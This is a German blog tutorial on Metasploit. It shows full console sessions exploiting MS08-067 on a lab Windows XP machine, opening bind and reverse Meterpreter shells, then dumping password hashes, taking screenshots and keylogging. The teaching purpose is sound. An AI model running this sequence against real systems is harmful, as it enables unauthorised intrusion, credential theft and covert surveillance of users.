Metasploit

17 Minuten zum lesen

console.log('It´s time to hack');

Hallo,

Heute möchte ich euch kurz das Metasploit Framework vorstellen. Das Metasploit Framework dient ist erster Linie zur Entwicklung und Ausführung von Exploits.

image-center

Installation

Der einfachste weg ist es die Kali Linux Distribution von Kali.org herunter zu laden. Die Distribution gibt es als live Image oder als Abild einer Virtuelle Maschine für die Hypervisoren Vmware Player/Virtual Box auf der Seite von Offense Security.

Es ist jedoch auch ohne weiteres möglich Metasploit wie jedes andere Programm zu installieren. RAPID 7/Metasploit stellt die Binaries für alle gängigen Betriebsysteme(Linux, MacOS, Windows) zur verfügung.

Testumgebung

Zum arbeiten mit Metasploit ist unerlässlich sich eine Testumgebung einzurichten. Besonders gut geeignet sind dafür ältere ungepatche OS Versionen wie z.B:

  • Windows 2000
  • Windows XP SP1 - SP3
  • Windows 7 (ohne Service Pack)
  • Ubuntu 08.04
  • usw.

Aktuelle und gepachte OS-Versionen von Windows und Linux geben keine guten Ziele ab das es meist keine fertig entwickelten exploits dafür gibt.

Eine weitere Möglichkeit ist der Download von vorgefertigten OS-Images die absichtlich mit schwachstellen versehen wurden. Diese Images eignen sicher hevoragend für die ersten Schritte mit Metasploit.

Metasploitable 2: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Metasploitable 3:
https://github.com/rapid7/metasploitable3

Arbeiten mit Metasploit

Achtung !!! Bitte führt keine Exploits oder Scans gegen Rechner, Webseiten,Datenbanken usw. aus wozu ihr nicht berechtigt seid.

Für die folgenden Beispiele verwende ich eine Virtuelle Maschine mit Windows XP SP3. Die ich bereits in meiner Einführung für den Portscanner NMAP verwendet habe.

Ziel OS: Windows XP SP3
Bekannte Schwachstelle: CVE-2008-4250
Exploit: https://blog.rapid7.com/2014/02/03/new-ms08-067/

Nmap Ausgabe:

| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, 
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary 
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx

msfconsole

1.) Metasploit starten wir mit dem Befehl msfconsole

$ msfconsole

2.) Wurde Metasploit erfolgreich gestartet erhalten wir einen der möglichen Willkommens Bildschirme

Call trans opt: received. 2-19-98 13:24:18 REC:Loc
     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`

                             https://metasploit.com


       =[ metasploit v4.16.31-dev                         ]
+ -- --=[ 1726 exploits - 992 auxiliary - 300 post        ]
+ -- --=[ 507 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > 

3.) Nach der Installation empfiehlt es sich einen rebuild des Datenbank Cache durchzuführen oder wenn diese Meldung angezeigt wird “Database not connected or cache not built, using slow search”.

msf> db_rebuild_cache  
[*] Purging and rebuilding the module cache in the background...

4.) Mit diesen wissen das unser Ziel über eine bekannte Schwachstelle verfügt. Können wir in der Metasploit Datenbank nach einen geeigneten Exploit suchen.

msf> search  ms08
Matching Modules
================

   Name                                                   Disclosure Date  Rank       Description
   ----                                                   ---------------  ----       -----------
   auxiliary/admin/ms/ms08_059_his2006                    2008-10-14       normal     Microsoft Host Integration Server 2006 Command Execution Vulnerability
   exploit/windows/browser/ms08_041_snapshotviewer        2008-07-07       excellent  Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download
   exploit/windows/browser/ms08_053_mediaencoder          2008-09-09       normal     Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow
   exploit/windows/browser/ms08_070_visual_studio_msmask  2008-08-13       normal     Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow
   exploit/windows/browser/ms08_078_xml_corruption        2008-12-07       normal     MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption
   exploit/windows/smb/ms08_067_netapi                    2008-10-28       great      MS08-067 Microsoft Server Service Relative Path Stack Corruption
   exploit/windows/smb/smb_relay                          2001-03-31       excellent  MS08-068 Microsoft Windows SMB Relay Code Execution

use exploit

5.) Um einen Exploit auszuwählen verwenden wir den Befehl use und geben den Pfad des exploits an.

msf> use exploit/windows/smb/ms08_067_netapi 
[*] Purging and rebuilding the module cache in the background...

show options

6.) Mit dem Befehl show options können wir uns alle verfügbaren Optionen anzeigen lassen

msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

set

7.) Mit set RHOST setzen wir die IP Adresse für den Ziel Rechner. Mein Ziel System hat die IP Adresse 192.168.1.110

msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.1.110
RHOST => 192.168.1.110

show payloads

8.) Mittels show payloads können wir uns alle verfügbaren Payloads anzeigen lassen.

msf exploit(windows/smb/ms08_067_netapi) > show payloads

Compatible Payloads
===================

   Name                                                Disclosure Date  Rank    Description
   ----                                                ---------------  ----    -----------
   windows/meterpreter/bind_hidden_ipknock_tcp                          normal  Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   windows/meterpreter/bind_hidden_tcp                                  normal  Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   windows/meterpreter/bind_ipv6_tcp                                    normal  Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   windows/meterpreter/bind_ipv6_tcp_uuid                               normal  Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   windows/meterpreter/bind_nonx_tcp                                    normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   windows/meterpreter/bind_tcp                                         normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   windows/meterpreter/bind_tcp_rc4                                     normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   windows/meterpreter/bind_tcp_uuid                                    normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   windows/meterpreter/reverse_hop_http                                 normal  Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   windows/meterpreter/reverse_http                                     normal  Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   windows/meterpreter/reverse_https                                    normal  Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   windows/meterpreter/reverse_https_proxy                              normal  Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   windows/meterpreter/reverse_ipv6_tcp                                 normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   windows/meterpreter/reverse_named_pipe                               normal  Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   windows/meterpreter/reverse_nonx_tcp                                 normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   windows/meterpreter/reverse_ord_tcp                                  normal  Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   windows/meterpreter/reverse_tcp                                      normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   windows/meterpreter/reverse_tcp_allports                             normal  Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   windows/meterpreter/reverse_tcp_dns                                  normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   windows/meterpreter/reverse_tcp_rc4                                  normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   windows/meterpreter/reverse_tcp_uuid                                 normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   windows/shell/bind_hidden_ipknock_tcp                                normal  Windows Command Shell, Hidden Bind Ipknock TCP Stager
   windows/shell/bind_hidden_tcp                                        normal  Windows Command Shell, Hidden Bind TCP Stager
   windows/shell/bind_ipv6_tcp                                          normal  Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   windows/shell/bind_ipv6_tcp_uuid                                     normal  Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   windows/shell/bind_nonx_tcp                                          normal  Windows Command Shell, Bind TCP Stager (No NX or Win7)
   windows/shell/bind_tcp                                               normal  Windows Command Shell, Bind TCP Stager (Windows x86)
   windows/shell/bind_tcp_rc4                                           normal  Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   windows/shell/bind_tcp_uuid                                          normal  Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   windows/shell/reverse_ipv6_tcp                                       normal  Windows Command Shell, Reverse TCP Stager (IPv6)
   windows/shell/reverse_nonx_tcp                                       normal  Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   windows/shell/reverse_ord_tcp                                        normal  Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   windows/shell/reverse_tcp                                            normal  Windows Command Shell, Reverse TCP Stager
   windows/shell/reverse_tcp_allports                                   normal  Windows Command Shell, Reverse All-Port TCP Stager
   windows/shell/reverse_tcp_dns                                        normal  Windows Command Shell, Reverse TCP Stager (DNS)
   windows/shell/reverse_tcp_rc4                                        normal  Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   windows/shell/reverse_tcp_uuid                                       normal  Windows Command Shell, Reverse TCP Stager with UUID Support
   windows/shell_bind_tcp                                               normal  Windows Command Shell, Bind TCP Inline
   windows/shell_hidden_bind_tcp                                        normal  Windows Command Shell, Hidden Bind TCP Inline
   windows/shell_reverse_tcp                                            normal  Windows Command Shell, Reverse TCP Inline
   windows/vncinject/bind_hidden_ipknock_tcp                            normal  VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   windows/vncinject/bind_hidden_tcp                                    normal  VNC Server (Reflective Injection), Hidden Bind TCP Stager
   windows/vncinject/bind_ipv6_tcp                                      normal  VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   windows/vncinject/bind_ipv6_tcp_uuid                                 normal  VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   windows/vncinject/bind_nonx_tcp                                      normal  VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   windows/vncinject/bind_tcp                                           normal  VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   windows/vncinject/bind_tcp_rc4                                       normal  VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   windows/vncinject/bind_tcp_uuid                                      normal  VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   windows/vncinject/reverse_hop_http                                   normal  VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   windows/vncinject/reverse_http                                       normal  VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   windows/vncinject/reverse_ipv6_tcp                                   normal  VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   windows/vncinject/reverse_nonx_tcp                                   normal  VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   windows/vncinject/reverse_ord_tcp                                    normal  VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   windows/vncinject/reverse_tcp                                        normal  VNC Server (Reflective Injection), Reverse TCP Stager
   windows/vncinject/reverse_tcp_allports                               normal  VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   windows/vncinject/reverse_tcp_dns                                    normal  VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   windows/vncinject/reverse_tcp_rc4                                    normal  VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   windows/vncinject/reverse_tcp_uuid                                   normal  VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support

set payload

9.) Wir entscheiden uns hier für den windows/shell/bind_tcp payload.

msf exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp

show options (Payload)

10.) Nach auswahl des Payload prüfen wir mit show options ob der ausgewählte Payload noch zusätzliche Einstellungen benötigt. Die benötigten Optionen sind mit Required yes markiert und sollte ein Payload einmal fehlschlagen empfiehlt es sich noch einmal alle Optionen zu prüfen.

msf exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.110    yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     192.168.1.110    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

exploit

10.) Nun ist unser exploit richtig konfiguriert und kann mit dem Befehl exploit gestartet werden.

msf exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started bind handler
[*] 192.168.1.110:445 - Automatically detecting the target...
[*] 192.168.1.110:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown
[*] 192.168.1.110:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.110:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.110:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.110
[*] Command shell session 1 opened (192.168.1.243:35797 -> 192.168.1.110:4444) at 2018-01-31 22:05:37 +0100

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Auf dem Zielsystem

11.) War der Exploit erfolgreich erhalten wir eine Windows Command prompt. Der Beweis das wir uns wirklich auf dem Zielsystem befinden ist ganz unten die IP Adresse 192.168.1.110 !

C:\WINDOWS\system32>systeminfo
systeminfo

Host Name:                 IE6WINXP
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          IEUser
Registered Organization:   
Product ID:                76487-024-5236883-22915
Original Install Date:     10/12/2012, 1:45:14 PM
System Up Time:            21350397 Days, 20 Hours, 44 Minutes, 4 Seconds
System Manufacturer:       innotek GmbH
System Model:              VirtualBox
System type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 21 Model 1 Stepping 2 AuthenticAMD ~3896 Mhz
BIOS Version:              VBOX   - 1
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT-08:00) Pacific Time (US & Canada); Tijuana
Total Physical Memory:     511 MB
Available Physical Memory: 388 MB
Virtual Memory: Max Size:  2,048 MB
Virtual Memory: Available: 2,008 MB
Virtual Memory: In Use:    40 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    MSHOME
Logon Server:              N/A
Hotfix(s):                 16 Hotfix(s) Installed.
                           [01]: File 1
                           [02]: File 1
                           [03]: File 1
                           [04]: File 1
                           [05]: File 1
                           [06]: File 1
                           [07]: Q147222
                           [08]: KB952069_WM9
                           [09]: KB954155_WM9
                           [10]: KB973540_WM9
                           [11]: KB2749655 - Update
                           [12]: KB952287 - Update
                           [13]: KB955759 - Update
                           [14]: KB968389 - Update
                           [15]: KB971029 - Update
                           [16]: KB973815 - Update
NetWork Card(s):           1 NIC(s) Installed.
                           [01]: AMD PCNET Family PCI Ethernet Adapter
                                 Connection Name: Local Area Connection 5
                                 DHCP Enabled:    Yes
                                 DHCP Server:     192.168.1.1
                                 IP address(es)
                                 [01]: 192.168.1.110

Meterpreter

set payload meterpreter

1.) Wir entscheiden uns hier für den windows/meterpreter/reverse_tcp payload.

msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

show options

2.) Mittels show options prüfen wir welche Parameter der neue Payload benötigt. Wie leicht zu erkennen ist benötigt der neue Payload die IP Adresse des Computer von den wir Meterpreter gestartet haben um eine Verbindung aufzubauen.

msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.110    yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

set LHOST

3.) Mittels set LHOST setzen wir die IP Adresse auf 192.168.1.243

msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.1.243
LHOST => 192.168.1.243

4.) Bevor wir den neuen Exploit starten überpürfen wir noch einmal ob alle einstellungen korrekt gesetzt sind

msf exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.110    yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.243    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

exploit meterpreter

5.) Mit exploit starten wir den meterpreter payload.

msf exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.243:4444 
[*] 192.168.1.110:445 - Automatically detecting the target...
[*] 192.168.1.110:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.110:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.110:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.110
[*] Meterpreter session 5 opened (192.168.1.243:4444 -> 192.168.1.110:1032) at 2018-01-31 22:30:17 +0100

War der Exploit erfolgreich können wir nun einige vorgefertigte Skripts und Befehle verwenden.

hashdump

Auslesen des Windows SAM(Security Account Manager) Datenbank

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 422105af62b50d0000d267d8145cf830...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:b34ce522c3e4c87722c34254e51bff62:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9b45eefa50cbd1f779518231c8ae0fb3:8da1ecee0f0c121facdfb869612a33c6:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:60a8616c6fd013a1aff2d7c3328b4af8:::
IEUser:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

ps

Aktuell laufende Prozesse auslesen

meterpreter > ps

Process List
============

 PID   PPID  Name              Arch  Session  User                          Path
 ---   ----  ----              ----  -------  ----                          ----
 0     0     [System Process]                                               
 4     0     System            x86   0        NT AUTHORITY\SYSTEM           
 364   4     smss.exe          x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 484   604   logon.scr         x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\logon.scr
 580   364   csrss.exe         x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\csrss.exe
 604   364   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\winlogon.exe
 648   604   services.exe      x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe
 660   604   lsass.exe         x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe
 820   648   VBoxService.exe   x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\VBoxService.exe
 872   648   svchost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\svchost.exe
 900   648   alg.exe           x86   0        NT AUTHORITY\LOCAL SERVICE    C:\WINDOWS\System32\alg.exe
 940   648   svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe
 1032  648   svchost.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\System32\svchost.exe
 1084  648   svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe
 1120  648   svchost.exe       x86   0        NT AUTHORITY\LOCAL SERVICE    C:\WINDOWS\system32\svchost.exe
 1164  604   logonui.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\logonui.exe
 1516  1636  ntvdm.exe         x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\ntvdm.exe
 1948  648   spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\spoolsv.exe

screenshot

Erstellen eines Screenshots vom Bildschirm des Zielsystems

meterpreter > screenshot
Screenshot saved to: /root/ZxRxRrPE.jpeg

image-center

keyscan

Startet die Protokollierung von Tastenbetätigungen auf dem Zielcomputer.

meterpreter > ps

Process list
=================

PID Name         Path
--- ----         ----
401 winlogon.exe C:\WINNT\system32\winlogon.exe

meterpreter > migrate 401

[*] Migrating to 401...
[*] Migration completed successfully.

meterpreter > keyscan_start
Starting the keystroke sniffer...

**** A few minutes later after an admin logs in ****

meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!

Mehr Informationen

Eine Sammlung der Wichtigsten Metasploit Befehlen
Metasploit Kommandoreferenz

Offensive security Tutorial
https://www.offensive-security.com/metasploit-unleashed/

Offiziele Dokumentation Rapid7 https://metasploit.help.rapid7.com/docs

console.log('See you !');

Aktualisiert: